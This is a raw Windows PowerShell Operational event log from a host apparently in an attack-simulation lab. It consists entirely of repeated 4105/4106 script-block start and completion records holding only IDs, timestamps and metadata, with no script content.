ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026010
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026009
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026008
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026007
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026006
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026005
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026004
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026003
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026002
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026001
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026000
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025999
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025998
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025997
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025996
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025995
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025994
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025993
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025992
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025991
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025990
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025989
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025988
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025987
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025986
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025985
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025984
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025983
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025982
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025981
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025980
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025979
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025978
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025977
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025976
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025975
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025974
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025973
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025972
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025971
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025970
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025969
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025968
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025967
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025966
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025965
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025964
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025963
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025962
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025961
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025960
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025959
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025958
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025957
Keywords=None
